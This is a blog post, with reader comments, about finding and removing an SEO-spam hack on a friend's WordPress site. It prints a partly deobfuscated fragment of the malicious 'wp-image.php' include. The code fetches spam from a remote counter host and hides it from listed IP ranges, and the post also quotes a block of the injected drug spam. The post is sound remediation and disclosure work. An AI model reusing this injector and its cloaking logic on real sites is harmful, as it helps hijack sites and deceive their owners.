Hack Alert: wp-image.php is not a valid WordPress file

This is how I helped fix a problem with a friend’s WordPress site. Hopefully if you google for “wp-image.php”, you’ll find this page now. But first you have to know to search for “wp-image.php”, and by then you may already know what you’re doing.

The Problem: My friend’s site was displaying a bunch of pharmaceutic-centric spam, like the following:

deliverd cash advance payments tires home and auto insurance companies preparation cialis and alpha blockers adderall low credit score installment loans erectalis not paying a payday loan company douane tramadol descripion ionline does xanax slow heart rate lisesi define credit rating fastest phentermine package insert inexpesive classic car insurance quotes cxheap disputing credit bureau starting offshore adipex mouthwash free sample viagra without prescription acute hyoscyamine interactions oxycodone dosages xanax non presriction approval on-line adipex informatrion xanex…

It was about double that size. The weird thing was that he didn’t see it when he went to the site. Not only that, at least five other people also couldn’t see it. I had to ask around a bit before I found some friends that did see it. At first I thought maybe the hack was looking to see if he was logged in, or a recent visitor; turns out it just had a list of IP blocks that it wouldn’t display the spam to.

In diagnosing how his site was hacked, I went to look at the dates on the files. The most recent changes had happened just the day before, and were in two files in the /wp-includes directory. One was in general-template.php, and the other was in wp-image.php. This is how you find malicious code on your site – looking at the filestamps. (Isn’t wp-image.php a clever name? Looks totally legit. Until you open it, and see it’s all garbage.)

Inside general-template.php was the obvious culprit: a line that read

@include “wp-image.php”;

The Solution: I deleted it. Then I deleted the entire wp-image.php file, which, it turns out, was obfuscated php code. It was ugly. Here it is in its entirety:

Gobbledygook, amirite? So I started hunting down what that code DID. It took me several hours, and in retrospect I probably could have googled for a code de-obfuscator, but it was fun work. The actual code (with function names I’ve given myself to add some clarity) is this (sorry – WP won’t format nicely):

echo $_0 .'';


function l__0($_1){
if($_2!==false)return $_2;
if($_2!==false)return $_2;
if($_2!==false)return $_2;
if($_2!==false)return $_2;
return ”;

function tryfile($_1){
if(function_exists(file)===false)return false;
$_6=@file($_5 .’?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4′);
if(strlen($_3)<100)return false;
return trim($_7[1]);

function tryfopen($_1){
if(function_exists(fopen)===false)return false;
$_8=$_5 .’?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4′;
if(strlen($_3)<100)return false;
return trim($_7[1]);

function tryfsockopen($_1){
if(function_exists(fsockopen)===false)return false;
$_11=’countr.co.cc’ ;
return false;
$_15=’GET /l/counter.php?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4 HTTP/1.1′;
$_15 .= ‘Host: ‘ .$_11 .”;
$_15 .= _382444431(38);
else $_3=”;
if(strlen($_3)<100)return false;
return trim($_7[1]);

function trysocket($_1){
if(function_exists(‘socket_create’)===false)return false;
$_19=’GET /l/counter.php?md5=’ .floor(base_convert(substr(md5($_4 .$_SERVER[‘REQUEST_URI’] .$_1),0,5),16,10)) .’&v=4 HTTP/1.1′;
$_19 .= ‘Host: ‘ .$_11 ._382444431(52);
$_19 .= _382444431(53);
else $_3=_382444431(56);
if(strlen($_3)<100)return false; $_7=explode(_382444431(57),$_3); return trim($_7[1]); } function good_ip(){ $_20=array(_382444431(58),_382444431(59), _382444431(60),_382444431(61),_382444431(62),_382444431(63), _382444431(64),_382444431(65),_382444431(66),_382444431(67), _382444431(68),_382444431(69),_382444431(70),_382444431(71), _382444431(72),_382444431(73),_382444431(74),_382444431(75), _382444431(76),_382444431(77),_382444431(78),_382444431(79), _382444431(80),_382444431(81),_382444431(82),_382444431(83), _382444431(84),_382444431(85),_382444431(86),_382444431(87), _382444431(88),_382444431(89),_382444431(90),_382444431(91), _382444431(92),_382444431(93),_382444431(94),_382444431(95), _382444431(96),_382444431(97),_382444431(98),_382444431(99), _382444431(100),_382444431(101),_382444431(102), _382444431(103),_382444431(104),_382444431(105), _382444431(106),_382444431(107),_382444431(108), _382444431(109),_382444431(110),_382444431(111), _382444431(112),_382444431(113),_382444431(114), _382444431(115),_382444431(116),_382444431(117), _382444431(118),_382444431(119),_382444431(120), _382444431(121),_382444431(122),_382444431(123), _382444431(124),_382444431(125),_382444431(126), _382444431(127),_382444431(128),_382444431(129), _382444431(130),_382444431(131),_382444431(132), _382444431(133),_382444431(134),_382444431(135), _382444431(136),_382444431(137),_382444431(138), _382444431(139),_382444431(140),_382444431(141), _382444431(142),_382444431(143),_382444431(144), _382444431(145),_382444431(146),_382444431(147), _382444431(148),_382444431(149),_382444431(150), _382444431(151),_382444431(152),_382444431(153), _382444431(154),_382444431(155),_382444431(156), _382444431(157),_382444431(158),_382444431(159), _382444431(160),_382444431(161),_382444431(162), _382444431(163),_382444431(164),_382444431(165), _382444431(166),_382444431(167),_382444431(168), _382444431(169),_382444431(170),_382444431(171), _382444431(172),_382444431(173),_382444431(174), _382444431(175),_382444431(176),_382444431(177), _382444431(178),_382444431(179),_382444431(180), _382444431(181),_382444431(182),_382444431(183), _382444431(184),_382444431(185),_382444431(186), _382444431(187),_382444431(188),_382444431(189), _382444431(190),_382444431(191),_382444431(192), _382444431(193),_382444431(194),_382444431(195), _382444431(196),_382444431(197),_382444431(198), _382444431(199),_382444431(200),_382444431(201), _382444431(202),_382444431(203),_382444431(204), _382444431(205),_382444431(206),_382444431(207), _382444431(208),_382444431(209),_382444431(210), _382444431(211),_382444431(212),_382444431(213), _382444431(214),_382444431(215),_382444431(216), _382444431(217),_382444431(218),_382444431(219), _382444431(220),_382444431(221),_382444431(222), _382444431(223),_382444431(224),_382444431(225), _382444431(226),_382444431(227),_382444431(228), _382444431(229),_382444431(230),_382444431(231), _382444431(232),_382444431(233),_382444431(234), _382444431(235),_382444431(236),_382444431(237), _382444431(238),_382444431(239),_382444431(240), _382444431(241),_382444431(242),_382444431(243), _382444431(244),_382444431(245),_382444431(246), _382444431(247),_382444431(248),_382444431(249), _382444431(250),_382444431(251),_382444431(252), _382444431(253),_382444431(254),_382444431(255), _382444431(256),_382444431(257),_382444431(258), _382444431(259),_382444431(260),_382444431(261), _382444431(262),_382444431(263),_382444431(264), _382444431(265),_382444431(266),_382444431(267), _382444431(268),_382444431(269),_382444431(270), _382444431(271),_382444431(272),_382444431(273), _382444431(274),_382444431(275)); if(mystrpos($_SERVER[‘HTTP_USER_AGENT’],’Googlebot’)!==false ||mystrpos($_SERVER[‘HTTP_USER_AGENT’],’Google’) !==false||mystrpos($_SERVER[‘HTTP_USER_AGENT’],’google’)!==false){ return true; } $_21=explode(‘.’,$_SERVER[‘REMOTE_ADDR’]); $_22=$_21[0] .’.’ .$_21[1] .’.’; if(in_array($_22,$_20)){ return true; } return false; } function mystrpos($_23,$_24){ return strpos(strtolower($_23),strtolower($_24)); } ?>


Too bored to read all that? Good for you. Lemme summarize – it tries 4 different methods of connecting to a remote website to download a bunch of spam content. If your host has all those methods locked down, it’ll just give up.

Oh, but the neat thing? It has a long list of IP addresses (which I didn’t bother decoding above, sorry) that it is not to serve the spam to. Not sure how it generates that list, but it effectively hid the spam-hack from my friends who own and ran the site.

The remote site in this case was countr.co.cc, and I’ve emailed the abuse address for that site’s host (http://www.limestonenetworks.com/) and hope to hear back soon.

Still not sure how they got in, but I suspect it was through a plug-in called “Chameleon”, which uses a popular script known as Tim Thumb (for image uploading and cropping), which has been found to be exploitable. It’s still possible it was through some other hole, but I’m already out of my league.

Anyway, hope this helps somebody.

  • http://TalesandTails.com/ houndstooth

    I think I have this same problem, but I am not nearly technical enough to fix the problem.  I am in total awe that you were able to do it.  I have no idea what I’m doing or how I’m going to get it fixed.

    • http://twitter.com/randytayler randytayler

       Yeah, and what I was doing was only part of a solution; somebody else had to clean up an important file called .htaccess.

      What’s your site?

      • http://TalesandTails.com/ houndstooth

        My site is http://talesandtails.com.  I noticed that whoever the hack was had added themselves as an admin in my web host panel, and so I deleted them, changed the passwords to the server panel and my WordPress panel.  When I started looking around, I saw that they’d disabled all my plug ins, including the automatic back up (so I can’t get a clean back up) and the Aksimet spam blocker.  I’d wondered, since I’d seen a couple of odd comments that came through for moderation.  I turned Akismet back on, just in time it looks like.  I’m getting hit with tons of spam all of a sudden that’s from those stupid drug companies.  None of it has gotten through, thank gosh, but they’re trying pretty hard.  I took all the IP addresses of them today and added them to my banned list.  I have somebody who’s going to look at it, but I’m not sure if he’ll be able to fix the problem or not.  Honestly, don’t people have better things to do?

        My web host is telling me I’m going to have to completely reload WordPress, and I’m honestly not sure how much work that’s going to entail.  They’ve been remarkably unhelpful in doing anything besides making me feel stupid.

        • Blah

          I just fixed this on my own, just like the dude said.  you need to go to your hosting provider (if it happens again), go the the file manager for your blog, find wp-includes, and then find the files he’s talking about.  Open them with the “edit” button and just delete the phrases and/or delete the wp-image file.  worked like a charm for me….now im off to change all my passwords. 

  • Blah

    Same thing happened to me.  I checked the filestamps, and wp-includes and the general template and wp image files were the only ones recently screwed with.  Thanks for the post…I didn’t know what to do once I found the culprits.  All deleted and blog is now working again. Thanks!

  • Guest

    I had the same issue, expect I found the hack code in /wp-includes/images/image.php